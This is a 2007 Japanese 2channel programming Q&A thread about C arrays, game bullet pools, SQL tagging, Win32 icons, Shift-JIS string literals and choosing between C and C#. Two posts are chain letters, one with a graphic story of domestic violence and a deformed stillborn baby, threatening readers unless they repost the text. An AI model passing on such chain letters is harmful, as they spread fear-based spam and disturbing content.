NTFSからFAT32フォーマットのUSBメモリにコピーすると なんで更新日付が変わるんですか?
ファイルシステムが何なのかは関係なく、コピーしたから。 コピーする時点で、コピー先に新しいファイルが作られるという扱い。
>>213 「真の多次元配列」とか妙に言いたい奴いるけど、
その言葉の説明がないものは言葉遊びをしてるだけだと思われても
仕方が無いだろうね。
その人の意図しているところがどこにあるかは知らないけど、
よく言われるのは、添字の扱いが平等でないってとこ。
例えば int a[M][N]; は行列みたいに扱えるわけだけど、
a[i] みたいにして一行取り出して別関数に渡すようなことは簡単にできるけど、
一列取り出すことは、少なくとも言語仕様によってサポートされてはいない。
ここら辺をサポートしだすと、単なる配列の配列とは違って、
動的に決めなくてはならない余分な情報が必要になってくる。
C の配列の配列にはそういう余分な情報は全くなくて、
先頭アドレスと、あとは静的に得られる配列のサイズとでしか扱われない。
Fortran90 あたりを参照すると、
真の多次元配列ってのが何なのか分かるんじゃないかと思う。
233 :
227 :2007/01/06(土) 01:42:53
>>228 ,229
調べてみます。ありがとうございました
プログラムの勉強のためシューティングゲームを作ろうとしてるんですが、自分のやり方がいいのか悪いのか分かりません。 同じ種類の弾がたくさんでるとき、弾オブジェクトの配列を作り、 新しく弾ができたら、配列の後ろに弾オブジェクトを追加する、 もし配列の途中に空いてるところがあれば、後ろでなくそこに新しい弾オブジェクトをさしこむ。 こんな感じに作ってるんですが、弾配列の中でどこが空いてるか探したり、 配列番号の最大値を管理したりしないといけないのでめんどくさいです。 もっといい方法や、セオリーを知ってる人がいたら教えてもらえませんか。 ちなみにJavaしか分かりません。
めんどくさいってなんだよw 空いてる要素探すのはループ1つ回せばいいだけじゃん? 配列の要素数の最大なんて定数宣言して決め打ちでいいよ。
Objectの作成、Listへの追加・挿入は比較的コストが高くなりがちな操作。 最近のPCじゃさほど問題にならないような気もするけど。 昔の手法だと、最初から最大Object数を固定しておいて、 その範囲内でActiveなObjectと、そうでないObjectのステートを持てるようにして、 画面内にあればActive、 新規に撃つ弾はActiveでないものを探して座標設定・Active化する、とか。 ステートを持たせるのは、OOPなら問題にならないだろ? 習作で作っているようだから、そんな方向性でやってみるのもいいかもね。 つーか、この手の話はゲ製板あたりの過去ログに良スレなかったっけか。 ム板はむしろ技術的な話で、その手の手法系はゲ製板とかのほうが良いかもしれんよ。
237 :
デフォルトの名無しさん :2007/01/06(土) 16:02:47
URLにIDをつけて、ID-タグのテーブルとリレーションを組む。 TABLE urls * UNIQUE INT id * VARCHAR url TABLE tags * INT url_id // == urls.id * VARCHAR tag
240 :
238 :2007/01/06(土) 17:35:11
>>239 ありがとうございます。
やはりそうするのがいいんでしょうか。少し冗長な気がして躊躇していたのですが。
例えば
>>238 の例だと、「検索」というタグは google と yahoo をそれぞれ指す、
2つのレコードとして作成する必要がありますよね?
それがいやなら、urls と tags を中継するリレーションを貼らなくてはいけない、ってことでしょうか。
データベースってそういうものだって。
タグをセパレータで連結して一つの文字列で持ってもいいけど、まともな速度ではタグから検索できないよ?
INSERT INTO urls (id, url) VALUES (0, "
http://google.com/ "), (1, "
http://yahoo.co.jp/ ");
INSERT INTO tags (url_id, tag) VALUES (0, "検索"), (1, "検索"), (1, "ポータル");
SELECT urls.url FROM urls, tags WHERE urls.id = tags.url_id AND tags.tag = "検索";
242 :
:2007/01/06(土) 17:50:25
ウィンドウクラスWNDCLASSEX構造体を登録する時に hIcon、hIconSmとふたつアイコンハンドル指定するメンバがありますが wc.hIcon = LoadIcon(hInstance, "MY_ICON"); // "MY_ICON"は自作アイコンです として、hIconSmメンバには wc.hIconSm = wc.hIcon; とhIconメンバをそのまま代入しても問題ないのでしょうか? それとも1つづつLoadIcon()にてロードしないといけませんか?
問題ない。 >234 配列じゃなくてスタック、もしくはキューを使うといい。 ゲームで、画面要素ごとに配列を作るのは負け組っぽい。 これ以上は夢精板へ。
>>242 LoadImageで大きさを指定して読み込め。大きさは大小の縦横それぞれ
GetSystemMetricsにSM_CXICON/SM_CYICONとSM_CXSMICON/SM_CYSMICONを指定して得られる。
複数の大きさを持つアイコンではこうしないと適切な大きさのものが使われないと思う。
それにLoadIconは、使えるけどLoadImageを使えとMSDNにも書かれているし。
char型って何て呼ぶんですか? チャー? キャラ?
シャア
好きに呼べば良い。
248 :
デフォルトの名無しさん :2007/01/07(日) 11:07:31
Perlで、WinXP MCE向けに、iEPGをC2Rに変換して
Webの番組表から番組を予約できるようにするスクリプトを組んだのですが、
MCEが「無効な予約要求」と表示して予約を受け付けてくれません。
どなたかXMLの問題点を指摘していただけませんか。
スクリプトが吐くXMLは下記の通りです。
<?xml version="1.0" encoding="utf-8" ?>
<clickToRecord xmlns="urn:schemas-microsoft-com:ehome:clicktorecord">
<body>
<metadata>
<description>草なぎおすぎとピーコの女子アナ07もっと大人になりたいのっ!SP ▽美人女子アナ45人の爆笑NG...</description>
<expires>2120-01-01T00:00:00Z</expires>
</metadata>
<programRecord postpadding="35" programDuration="60">
<service>
<key field="urn:schemas-microsoft-com:ehome:epg:service#name" match="exact">関西テレビ</key>
</service>
<airing>
<key field="urn:schemas-microsoft-com:ehome:epg:airing#starttime">2107-01-08T19:00Z+0900</key>
</airing>
</programRecord>
</body>
</clickToRecord>
SDKのドキュメントは下記URLです。
ttp://download.microsoft.com/download/2/b/0/2b0013a3-ec4b-493e-9924-5bc94c526574/MedctrSDK.chm
airingが無茶苦茶でした。 もう一度自分でチェックします。
2107-01-08? って自己レスしてるね。 SDK調べて損した…
251 :
248 :2007/01/07(日) 13:42:33
>>250 すみません。
2107の21は世紀なんであってますよね?
まだ「この番組は番組ガイドに見あたらない」と出て予約できません。
宜しければ通りそうなXMLを示していただけませんか。
252 :
248 :2007/01/07(日) 14:04:43
<?xml version="1.0" encoding="utf-8" ?> <clickToRecord xmlns="urn:schemas-microsoft-com:ehome:clicktorecord"> <body> <metadata> <description></description> </metadata> <programRecord programDuration="60"> <service> <key field="urn:schemas-microsoft-com:ehome:epg:service#callsign" match="exact">読売テレビ</key> </service> <airing searchSpan="0"> <key field="urn:schemas-microsoft-com:ehome:epg:airing#starttime">2107-01-07T15:00:00+09:00</key> </airing> </programRecord> </body> </clickToRecord> って感じで通りました。お手数おかけしました。
すいませんが質問です。 windowsXPの環境でmakefileを実行するには何が必要でしょうか?
そのmakefileを理解できるmake。
255 :
デフォルトの名無しさん :2007/01/07(日) 19:06:23
HDDレコーダとかでCMスキップして録画できるのとかあるけど どんなアルゴリズム(?)が考えられますか?
仕様を決めるときの架空のアクターのことをなんていうんでしたっけ?
>256 Aさん
就職活動中なんですが 文理問わずなSI企業な某社にエントリーしたところプログラミング経験を問われました。 経験ありますか?あるなら何やりましたか?無いなら無いって書けって感じで。 やったことねえよ!!ってのが本音なんですが Flashのアクションスクリプトがwikipedia的にはプログラミング言語らしくてそれなら数年やってます が普通に考えてSI企業とは関係なさげ プログラミングって何か知ってる?程度の質問なのか 使えるかどうかの判断基準なのかが不明瞭すぎて あると書いた方が良いのか悪いのか・・どっちなんでしょ ってスレ違い感は相当否めないんですが SE関係の人、自分ならどっちで聞くかを教えて頂けるとこれ幸いです
嘘つきかそうじゃないかを試してるんだろ いい加減に書いてもすぐばれるから正直に書け
お前だけ
お前だけ
お前だけ
268 :
デフォルトの名無しさん :2007/01/08(月) 13:21:25
サーバー管理者にメールば送っといた、ばってんちゃんと見てくれるかのぉ・・・・・ 心配じゃ
つながらないのでこっちに書きますね。 「とりあえずデストラクタを仮想にする」のは危険です。 なるべく継承を使わない。Exceptional C++ 項目22のGuidelineの解説。
270 :
デフォルトの名無しさん :2007/01/08(月) 19:25:39
言語にはCとかJavaとかいろいろありますが何でバイナリそのものが言語のプログラミングがないんですか?
あるよ。マシン語。 ただ誰もやりたくないから使わないだけで。
マシン語で簡単なプログラムなら組んだ事あるな。 DOS 時代の話だが。 その頃はまだ知識が足りなかったから、 NOP 使うと組みやすいということに気づかなかったな。
↑ NOPって何もしないって命令だけど、使うと何が組みやすくなったのか? 簡単なプログラムって書いてるから LOOPの時間稼ぎが簡単になったってことが言いたいのか
>>270 昔の達人は、バイナリプログラムやってたなりww
今も高速化のために_asmを使う事は珍しくない。
ジャンプの指標にNOP置いとくって話だろ
>274 アセンブリじゃNOPを使う必要は マシン語ほどには無いからね マシン語の場合はアドレス計算せなならんから NOP使わないとジャンプ先のアドレスを 毎回計算する羽目になるわな まぁ、結局は素直に アセンブラや高級言語をお勧めする それならNOP使う必要もない
宿題でどうしてもやらないといけなくなったのですが、 C言語で「十」という文字だけをprintfで表示したい場合、どうしたらいいでしょう? ただ、以下の制約があります ・printf("十\"); と書くと、自分の環境ではエラーは出ませんが、課題受理側ではコンパイル不能となり受け取りを拒否されます。 (環境の違いらしく、これはこちら側ではどうにもなりません) ・printf("十");では自分の環境でも課題受理側の環境でもエラーが出ます。 ・ソースはShift-JISで書かないといけないと決められています ・十の前後に余計な文字や改行を入れてはいけない(空白等は入れてはいけない) ・十という文字を使わないといけない(+などを代用などは当然ダメ) perlみたいにシングルクォーテーションで囲むなどはC言語では使えないみたいなので、どうしたらいいかわからず困ってます。 何かいい方法はないでしょうか。
現行の VisualC++ のバージョンは 8 ですが、(VC2005?) これを使って作ったものはユーザーサイドに 新たにランタイムのインストールを迫るようです。 これのせいで、うちの会社では未だにVC6のくそ文法を利用しているのですが VC7ではどうなのでしょうか? やはりランタイムのインストールが必要なのでしょうか? まぁ、もし使えたとしてもうちの会社の体質がかわるわけでは ないのですけど・・・個人的な興味で。
printf("十\n");
>>281 それだと「十n」と表示されてだめみたいです…
コンパイラに何を使ってるのかと、あと 艦橋晒せ
\\
>>283 コンパイラは(私の環境は)gccです
課題受理側はよくわからないのですが、ISO C89?というものらしいです
以前long long intを使用したプログラムを送ったところエラーが出ました
環境はOSがWinXPで、後は何を晒せばいいんでしょうか?無知ですいません。
>>284 gccでコンパイルエラーが出ました
\0を格納したchar型の二次元配列を作り、 printf("十\%s",char[0]);のようにしたらいずれの環境でもエラーなく、レポートも受理してもらえました お騒がせしてすいません、ありがとうございました
>>285 -std=c89ってつけてコンパイルするといいよ。
>>279 gccなら、--input-charsetと--exec-charsetを正しく設定してみたらどう?
>>280 VC7もVC8と同じくCRTを動的リンクするならランタイムが別途必要(VC6までのmsvcrt.dllは使えない)。
ただしVC7も8もランタイムDLLをEXEなどと同じフォルダに置くだけで動くようにすることはできる(VC8は1つ準備が要るが)。
数学や古文が苦手で英語が得意な俺はプログラミングに向いてる?
向けてる
アルゴリズム考えるなら 数学の知識はあった方が色々便利だぞ。
英語が得意ならプログラミングなんかしてないでイギリス人になれ
質問させてください 繰り返し処理を使ってボタンをn個作成する時、 int i =i + 1; を利用して各ボタンにそれぞれ名前を付けていきたいのですが、 nameの部分はどうすればいいのでしょうか? 未熟者ながら色々試してみたのですが、詰まってしまった為こちらでお聞きしました。 <input type="submit" name="●●●" value="ボタン" >これ
295 :
294 :2007/01/09(火) 03:16:48
294ですが、ちょっと自己解決しそうです。 失礼しました。
>>279 >>286 >\0を格納したchar型の二次元配列を作り、
>printf("十\%s",char[0]);のようにしたらいずれの環境でもエラーなく、レポートも受理してもらえました
漏れならそんな無駄な書き方は不合格にする
printf("\x8F\x5C");
漏れならそんな無駄な書き方は不合格にする
printf("十\%c",0);
printf("十");
で通らない
>>279 の使い方も課題受理側の環境も間違ってるだろ
>>279 はgccなんだから
>>289 の指摘通り、
-finput-charset=CP932 -fexec-charset=CP932
で通るだろうし、課題受理側にはそんな馬鹿な環境さっさと改善してくれって要求汁
課題受理側にはlintが入ってて "十\" の「\"」部分で刎ねてるんだろうなぁ
x = √(12+√(12+√(12+√(12+√(12+・・・ ・・・))) xの値は?
302 :
デフォルトの名無しさん :2007/01/09(火) 15:03:13
>>301 x^2 = 12 + x の解だから、x=4 じゃね?
アリの巣コロリってあるじゃん。 蟻の行列にポンと置くと、一瞬ビックリして列が乱れる。 邪魔だなと言わんばかりに迂回する列が出来る。 そのうち好奇心旺盛な一匹がアリの巣コロリに入る。 そいつをマネして何匹も入る。 毒とも知らずにツブツブを運び出す。一匹が一粒づつ。 いつのまにか行列はアリの巣コロリが折り返し地点になる。 黄色い粒と黒い蟻が作り出す模様は綺麗で見てて楽しい。 一匹が一粒づつ、丁寧にせっせと毒の粒を運ぶ。 せっせと、せっせと、せっせと、せっせと。 蟻さんって働き者だなと思う。俺も頑張らなきゃなと思う。 次の日、あれほど沢山いて俺を困らせた蟻が一匹もいない。 ほんとにいない。探してもいない。泣きたくなった。 このレスを見た人は4日後にあなたの大切な人がいなくなるでしょう・・・・ それが嫌ならこのレスを5つの板にコピペしてください。 信じるか信じないかはあなた次第です。
CPUはGPUの描画能力に影響を与えるのですか? GPUがいくら凄くてもCPUが糞だとGPUの性能でない?
描画能力には影響を与えないが 描画するデータを作るのはCPUだな
帳票系(CrystalReports等)のスレってない?
307 :
デフォルトの名無しさん :2007/01/09(火) 18:38:41
2chに書き込むコードのサンプルってないですかね? もしくはbbs.cgiでpostする為の仕様とかは。 とりあえずC#で書き込みできるコードは書いたんだけど、見苦しい処理になってしまったんです。 正規にはどうすべきなのかとか話してるスレとかは無いですか?
専ブラのソース
309 :
デフォルトの名無しさん :2007/01/09(火) 19:05:17
質問です。MS-DOSでWatcomCを使ってます。 C言語のclock関数というのは、どういう仕組みで動いているんですか? PITとかRTCを使ってるんですか? CPUの中にカウンターか何かがあるんですか? MS-DOS+PC-ATの環境ではどうやって実現されているのか教えてください。
310 :
デフォルトの名無しさん :2007/01/09(火) 19:24:22
>>308 とりあえず、なんとかtailって奴のソース落として見てみます。
311 :
309 :2007/01/09(火) 19:27:57
ボーランドとかマイクロソフトとかのことでもいいです。 一般的にMS-DOSのCコンパイラではどうやってclockが実現されているのか知りたいです。
ソースって、、、ライブラリの中だしソースないよ
日本人は醤油だろうがぁ!!
317 :
290 :2007/01/09(火) 21:20:44
>>292 そうなのか・・・
数学得意だが単語とか文の形式を覚えるのが苦手で英語が駄目って人と
数学は駄目だけど単語とか文の形式を覚えるのが得意で英語おkって人はどっちがいいんだろうか?
>>293 ごめん俺イギリス英語はあんまわからないんだ・・・
どっちかというとアメリカ人のほうだと思う
でアメリカ人になろうとしたんだが家族のあの和やかなふいんきがどうしても作り出せなくて挫折した
318 :
デフォルトの名無しさん :2007/01/09(火) 21:25:52
319 :
デフォルトの名無しさん :2007/01/09(火) 21:27:23
>>317 イギリス英語だとね、ColorがColourだったり、CenterがCentreだったりするから、
プログラム時にちょっとね。
320 :
デフォルトの名無しさん :2007/01/09(火) 21:36:26
質問です。板違いだったらごめんなさい。 OS:winXP コンパイラ:Borland C++Compiler 5.5 プログラム:#include <stdio.h> int main(void) { printf("hello, world\n"); return 0; } エラー:エラー E2209 a.c 1: インクルードファイル 'stdio.h' をオープンできない 警告 W8065 a.c 5: プロトタイプ宣言のない関数 'printf' の呼び出し(関数 main ) *** 1 errors in Compile *** その他状況:bcc32.cfgとilink32.cfgはcfgファイルになっており、binの中に入っています。内容に間違いもありません。 pathの末尾には;c:\borland\bcc55\binを付け加えています あと気になっていることで、stdio.hがローカルディスク(c)の中にないか、検索したのですが、見つかりませんでした。 ダウンロードも何度かやり直してみたのですが、どうにもなりません。 どうすればよいでしょうか。教えてください。お願いします。
検索すればいいんじゃないかな
>>316 ソースって、、、ライブラリの中だしソースないよ
>317 俺プログラミング始めた頃は if「あいえふ」stdio「スタジオ」 locate「ろかて」delete「でれて」 console「こんそれ」 なんて読んでたが(当時小坊…今考えるとハズい) それでも基本的なプログラムは組んでた そりゃ今見るとかなり稚拙なコードなんだが
>>320 stdio.hはc:\borland\bcc55\includeにあるはずだが。
てかせめて5.5.1パッチくらい当てれ
326 :
デフォルトの名無しさん :2007/01/09(火) 22:01:18
>>325 おかげで、解決しました。
ありがとうございました。
327 :
デフォルトの名無しさん :2007/01/09(火) 22:42:21
C言語 アセンブラ java COBOL どれが一番価値ありますか? 今からイチから勉強する初心者です
その中から選ぶならCだな。
猫に小判
>>327 COBOLはもはや化石言語
Javaは現代のCOBOLと貶されてる
アセンブラから入るといきなり挫折する人もいるのでお勧めできない
というわけでCを勧める
331 :
327 :2007/01/09(火) 22:59:01
書き忘れた 基本情報技術者を手っ取り早く取りたいわけだが 無意味な勉強はしたくない、ってことで。 アセンブラが簡単と聞くけど、どうなんですか?
CASLで万事OK
イチから勉強するならアセンブラからを薦める ネタじゃなくてマジで
334 :
327 :2007/01/09(火) 23:43:29
ほんと?じゃ、そうしようかな。でもどうして?
>334 基本情報4言語の中で ・覚えなければならないことが少ない ・単純なことしか出来ない分、問題も単純なことしか要求しない
しっつもーん。 オープンソースのプログラムを落としてきたんだけど、GPL ライセンスの テキストが入ってたんだよね。 これって、これを解析して自分の作ってるものに応用したら そのソースも GPL を適用して晒さないと行けないということ? GNU GPL を読んでると、まわりくどくて頭がぐにゅぐにゅして 訳わからなくなってくるぜ。
ガウスの消去法とLU分解の違いがよくわかりません ガウスの消去法=前進消去+後退代入 LU分解法=前進消去を使いまわし+後退代入 こういう理解なんだけどあってますか?
SRTGY
>>336 GPLの適用されたソースコードの派生物には自動的にGPLが感染する
著作権が生じるのは表現たるソースコードであって、アルゴリズムじゃないけどね
>>313 WatcomのはBIOSからクロックカウント取得してるようだが?
ソース読んだ限りでは。
>>337 つるかめ算と連立方程式の違いみたいなもんだ
342 :
327 :2007/01/10(水) 07:31:56
皆様ありがとう 次はかっこい質問が出来るように勉強がんばります
>>340 OpemWatcomはソースも見れるんですね。勉強になりました。
どうもありがとう。
Borland C++もVisual C++も無料版以外はきちんとライブラリのソースが付いているぞ。
>>345 某はTurboで無料版にもVCLソース付いてたからRTLのソースも付いてるかも
347 :
デフォルトの名無しさん :2007/01/11(木) 15:26:57
makeコマンドで-Ddefineっていうオプションを指定したときに、 defineを指定すると何がマクロとして定義されるかや、 どの部分のソースを使えるようになるかを知るには ソースファイルを調べるしかないのでしょうか?
即出だったらごめんなさい。 C++とC#の違いがどーも良くわからないんですが・・・ ゲイ○様の気まぐれ言語?
何が聞きたいのかわからん。 違いがわからないほどではないと思うが
>348 流れは汲むが、全くの別言語
>>349 具体的に・・・じゃダメですかね?
なにぶんC++しか触ったことないので・・・
>>350 "C"とは名ばかりってことですか?
>>347 ifnames ってコマンドでマクロはリストアップできるので、
後はgrepなどで調べるしかないかな?
まあ、 ifnames もソースファイルを調べるのだが、、
ifnames (GNU Autoconf) 2.61
>>352 javaですか・・・・
java勉強してきます
>354 何故そこでC#のドキュメントを読もうとしないのか C++やってるなら、読めば同じところも違うところも判るだろうに
>>355 MSDNをDLするだけのHDD容量がないからなのですorz
残り1Gな俺のPC
>>357 今読んでるけど微妙な違いしかないのかな?ありがとうございました
>>358 一応ADSLです。釣り餌美味しい
まずGCの存在
ともかく全然別物なので勉強汁
362 :
デフォルトの名無しさん :2007/01/11(木) 22:39:07
HTMLに関する質問です。 ボタンの位置を端や中央に持ってくるにはどうすればいいんでしょうか? テーブルの中に入れるっていうのも考えましたが分かりません。 誰か教えてください。
365 :
デフォルトの名無しさん :2007/01/12(金) 02:17:51
FirefoxPortableやNVUPortableなどで使われているプログラムソースって、 何で書かれているんでしょう? FirefoxPortable.nsi ってのがソースっぽいのですが、 nsiって何?
ここで聞くべき質問ではないと思いますが… N個のデータ列のバブルソートでは、データの交換が平均で N^2回程度(N^2のオーダー、O(N^2))必要になるんでしょうか。 また、なぜデータの交換の平均回数がO(N^2)となるんでしょうか。 完全にスレ違いの質問だと思いますが、 どうかお教えください。よろしくお願いします。
N * (N - 1) + N * (N - 2) + ・・・ + N * 1 = N * N
368 :
デフォルトの名無しさん :2007/01/12(金) 05:23:13
>= > >N * N なぜ=なのかがさっぱり分からない
オーダー計算としての等号だとしても = N * N * N にならないか?
370 :
368 :2007/01/12(金) 07:42:14
奇形児を見たことはありますか? これは北海道の網走市であった話です。 古塚美枝さん(当時23) は、いわゆる売春婦でしたが夫がいました。 しかしその夫は働こうとせず、酒に溺れる毎日、そして酔うと必ず美枝さんに 暴力を振るいました。83年の夏、美枝さんは体調を崩し病院へ行きました。 原因は妊娠によるつわりなどでした。売春婦であった美枝さんは、 まず誰の子なのか考えましたが夫の子である事を確信し、 早く報告しようと急いで帰りました。しかし夫は自分の子とは信じず、 中絶を命じました。 それから5ケ月。結局美枝さんは中絶を拒み、 生むことを決意しましたが、夫は従わなかった事を不満に思い、 さらに暴力を振っていました。 そしてその日夫は美枝さんの腹部に 膝蹴りをしました。する と、美枝さんの股間からは溢れる様に血が流れてきました。 そして美枝さんは崩れ落ち、声にもならない 様なうめき声で唸りながら ........流産でした。夫は慌てて家を飛び出して行きました。何故? それは生まれてきた子供が余りにも醜かったからです。目はあべこべに付き、 片方の目は眉毛の上に付いていました。鼻はだらしなく直角に曲がり、 口なんぞは縦向きに、しかも耳のつけねから裂け目の 様に付いていました。 動きもせず、ただこちらを眺めていました。 それからどうなったかは分かりません。 ただ、この話を聞いた人は最低3日間気を付けてください。 うしろで何か気を感じても振り向いて いけません。 それはあの子があなたを眺めているから。 10分以内にこれを 掲示板の5箇所に貼らなければそのままあの子は離れて行きません。 お気を付けて。
ここに5個張ろうぜ、みたく
for i := 0 to 4 do
>>371 ;
374 :
デフォルトの名無しさん :2007/01/12(金) 18:46:45
昔つくったfortran90にソースを Windwos XPのCompaq Visual Fortran V6.5でコンパイルして実行したら、 integer,parameter :: fout = 20 ! ファイル出力用のデバイス番号 write(unit=fout,fmt=*) x, y, z, xx, yy, zz でファイルに書き出したとき、60文字ごとに改行が入ってしまうのですが、 改行させないようにするんはどうしたらいいのでしょうか?
375 :
デフォルトの名無しさん :2007/01/12(金) 19:29:33
COBOLについての質問です。 MOVE 1 TO A MOVE 1 TO B NUM(A) = NUM(B)の等式は成り立つのでしょうか? 添え字違いでもNUM(1)とみなされてなりたちますよね?
377 :
デフォルトの名無しさん :2007/01/12(金) 19:35:56
趣味でC言語を学んでいてゲームとかを作りたいので GUIプログラム作成の勉強をしたいと思うのですが、 相談した所WINAPIの勉強が必要ということとCはGUIに向いていないのでC#を学ぶのを勧めるという意見をもらいました。 ゲームを作るにはWINAPIの勉強をしてC言語で作るのと、 C#の勉強をするのとどちらが良いのでしょうか?
相談です
それぐらい自分で調べられないやつは向いてない
そんな事より 画像や音声のフォーマット 入出力制御 行列、ベクトル とかを勉強した方が
あきらめよう
>>377 C#+WINAPIで作るのがいいと思う。
だいたいは.Netのクラスで作って、
重い部分だけWINAPIを呼び出して処理するといいかも。
384 :
デフォルトの名無しさん :2007/01/12(金) 19:49:34
>>383 御意見ありがとうございます。
C#で作る場合でもWINAPIの知識がいらないというわけではないのですね。
C#だけじゃハード寄りな事やパフォーマンス重視な事は難しいからなぁ
386 :
デフォルトの名無しさん :2007/01/12(金) 20:04:03
>>385 とりあえず入りやすいC#でGUIプログラミングを始めてみて、
慣れてきて色んな不便を感じたらWINAPIなんかの勉強をする方向にすれば良いでしょうか。
387 :
デフォルトの名無しさん :2007/01/12(金) 20:08:12
389 :
デフォルトの名無しさん :2007/01/12(金) 20:26:38
>>388 Cが出来るようになりたいんじゃなくてGUIでゲームを作りたいので
特にCには拘っていないのですがC以外を学んで不味いこととかあるのですか?
GUIでゲーム作りたいだけならRPGツクールでええやん。 ハードウェアの構造やOSの仕組みみたいな アプリケーションを作る上で必要最低限の知識も知らずに 良いゲームは作れんぞ。
>>389 俺はJava,C#の後にCをやった。
C#やってからでもCはできるよ。
394 :
392 :2007/01/12(金) 20:35:00
395 :
389 :2007/01/12(金) 20:45:19
なるほど、つまりそういう基本的な知識がC#では身につかないのですね。 では皆さんの意見を参考に、 『Windowsゲームプログラミング』という本でCで勉強してからC#に移ってみようと思います。
C#のみではどうにもならない場合がある →Win32APIを直接叩く必要がある →Win32APIはC言語でできてます
>>395 >>391 の
>ハードウェアの構造やOSの仕組みみたいな
>アプリケーションを作る上で必要最低限の知識も知らずに
>良いゲームは作れんぞ。
ってのはCとC#のどちらをやるにしても言える事だよ。
ハードウェアの構造やOSの仕組みみたいな アプリケーションを作る上で必要最低限の知識を得ようとしたときに C#は遠回りでCが近道 だとしたらあなたはどちらを通りますか?
そういった知識は言語に依存しません
Cが遠回りでもCを通ります
依存しまくりだろ
CでできることはほとんどC#でもできるし Cやっててそういった知識が付くようならC#でも付く
言語より本人の能力次第でどうにでもなる
じゃあ結局入りやすいC#で良いってこと?
つーかハードウェアの構造やOSの仕組みって アプリケーションを作る上で必要最低限の知識なのか?
素人が作っても熟練の料理人が作っても料理は料理って事。
C#でいいよ
ダメなやつは何をやってもダメ
テトリス程度ならC#で余裕
チョボラ
何を宜しくすればいいんだ?
CはC#に比べてメモリの使い方が原始的(?)な気がする。 あとGCも大きな違いか。using使うからあんま意識しないけど。
>>377 3D物ならC# + XNAGameStudioオヌヌ
両方MSのサイトから落とせる
416 :
デフォルトの名無しさん :2007/01/13(土) 07:29:56
すみません、質問させて下さい。 現在オフィスマスター所持なのですが、アクセスのVBに関してはシロートです。 アクセスのVBをした方が良いでしょうか?それとも別のアプリを使用した方が良いでしょうか? 現在事務で仕事してますが、将来的にはSEになりたいと考えてます。
>>416 そんなくだらない事を聞いてどうするのです
>417
逆にくだらない質問を他のスレでやられても困るんだが。
>>416 VBAは対象アプリ毎に結構違いが大きい。
AccessでやりたいならAccessのVBAを学ぶが吉。
ただ、SEならVB系だけじゃやっていけないだろうな。
それとは別にC言語やJava等の知識も要るだろう。
あとは最近流行りのスクリプト系か?
常に進歩してく業界だから常に学ぶべし。
使う可能性があるのは全部やっておけば問題ない
while(*d++ = *s++); これって条件はどういう動作を表しているのでしょうか?
>>420 *d++ = *s++;
while(*d)
*d++ = *s++;
422 :
デフォルトの名無しさん :2007/01/13(土) 13:32:43
問題で プログラムを作成し実行するまでの間に、 アドレスの修正は何度行われるかそれぞれ行われるタイミングについて述べよ。 というのが出るんですが、検索しても分かりません。
>>421 *d = *s;
while(*d) {
d++;
s++;
*d = *s;
}
425 :
420 :2007/01/13(土) 13:46:02
426 :
デフォルトの名無しさん :2007/01/13(土) 13:46:53
>>424 背景と言っても設問:〜としか書いてないです
プログラム記述→コンパイル→実行の間にアドレス?(何のだ)修正が
どこで行われるかという問題ぽいです。
428 :
デフォルトの名無しさん :2007/01/13(土) 23:16:06
教えてください。 vista対応のソフトを制作中です。 私はプログラマではないのでうまく質問が伝わらなかったらすみません。 setup.exeに電子署名を入れたものをCD-ROMにし、 CD-ROMを入れる → autorun → インストーラー起動・・ とここで「電子署名〜」という警告が出てしまいます。 原因はおそらく、setup.exeを作る際にアンインストーラーの電子署名が 消えてしまうからだと思うのですが、なんとか解決する策はないでしょうか? もしくは、このソフトを使って、こうすれば大丈夫!という情報があれば助かります。 インストールシールドの最新verはvistaで駄目だったと聞いたので setup作成にはイノセットアップを使用しています。 しかし、ソフト内でuninsを自動(?)で作成してしまうため 電子署名が消えてしまうようです。
429 :
デフォルトの名無しさん :2007/01/14(日) 01:05:28
(1) (2) (3) (4) (5) A 10 45 30 10 10 B 20 15 10 20 18 C 30 25 30 40 15 D 18 15 30 10 18 (1)〜(5)のタスクと、A〜Dの人がいます。 各(1)〜(5)を実行するのにかかるコストが上の表のように与えられています。 そして、A〜Dそれぞれの人は、1つだけタスクを担当することができます。 但し、タスクが人の数より少ない場合は、タスクが与えられない人がいてもよいことにしますが、 できるだけ多くの仕事をこなさなければなりません。 (この場合はタスクが5つ、仕事4つなので、A〜D全員が受け持たなければならない。) このとき、コストを最小にする選択を見つけるようなアルゴリズムを教えてください。
どっちかってーと、宿題スレ向きの話題だな。
431 :
デフォルトの名無しさん :2007/01/14(日) 01:20:08
では、宿題スレにかきこみなおします。
432 :
デフォルトの名無しさん :2007/01/14(日) 11:57:02
PowerPointのスライドにVB.NETで作成したアプリを貼るにはどうすればよいでしょうか?(貼れるのでしょうか?)ビジネスsoft板のPowerPointの質問スレで返答がないのでお願いします。
貼るってどういう意味だ? 見た目だけでいいなら、スクリーンショットでも貼っとけ
434 :
432 :2007/01/14(日) 12:13:01
>433 スロットゲームを作ったのでそれを貼りたい(実演中にボタンをクリックしてリール止めたり)したいのですが…
そういうのならできないと思う っていうか別にパワーポイントに貼る必要ないんじゃないの? 普通に起動して実演ってのはダメなの?
436 :
デフォルトの名無しさん :2007/01/14(日) 15:10:25
HDDのSMART機能の情報をC言語(windows)で取得する手段を教えて下さい。 今の私のレベルでは、ハードに近い処理を実現する方法を見つけることが出来ませんでした。 デバイスドライバなどの知識が必要でしょうか? どなたか足がかりになる情報でもよろしいのでお願いします。
437 :
434 :2007/01/14(日) 15:16:04
>435 PowerPointを使ったプレゼンに限定されていたので、あわよくばと思っていましたが、やはりダメでしたか… ご回答ありがとうございました。
439 :
436 :2007/01/14(日) 15:47:44
WinXPです。 指定時刻(毎日0:00)に任意のコマンドを実行したいんですが、 常駐せずに実行することは可能ですか? タスクスケジューラよりリソース使用量が低ければ常駐でも構いません。 今考えているのは、しょっちゅうブラウザを起動するので、 ブラウザの起動時にDLLなりプラグインで、時刻を確認し実行するものです。 何か良い案がございましたら教えてくださいませ。
指定時刻の1分前にタイマーを鳴らし計算機の前に待機してその時を待つ。
>440 普通にタスクでよくね?
443 :
440 :2007/01/14(日) 19:17:41
>>442 そうなんですが、プリフェッチ切ってるので実行されないんです。
だからタスクスケジューラは削除してしまおうと思いまして
444 :
デフォルトの名無しさん :2007/01/14(日) 19:29:17
Linuxでアセンブラの勉強したいのですが コンパイラってどこにあるのでしょうか?
1行目と2行目の繋がりがわからん。
>>445 コンパイル結果を確認したいんじゃないの?
「こういうソース書いたら、こうコンパイルされるんだ」って。
gas じゃないの?
まて、x86とは限らないかもしれないじゃないか!
じゃ、gasがいいな。 NASMだとx86オンリーだったはずだし。 個人的にはNASMのほうが好きなんだが。
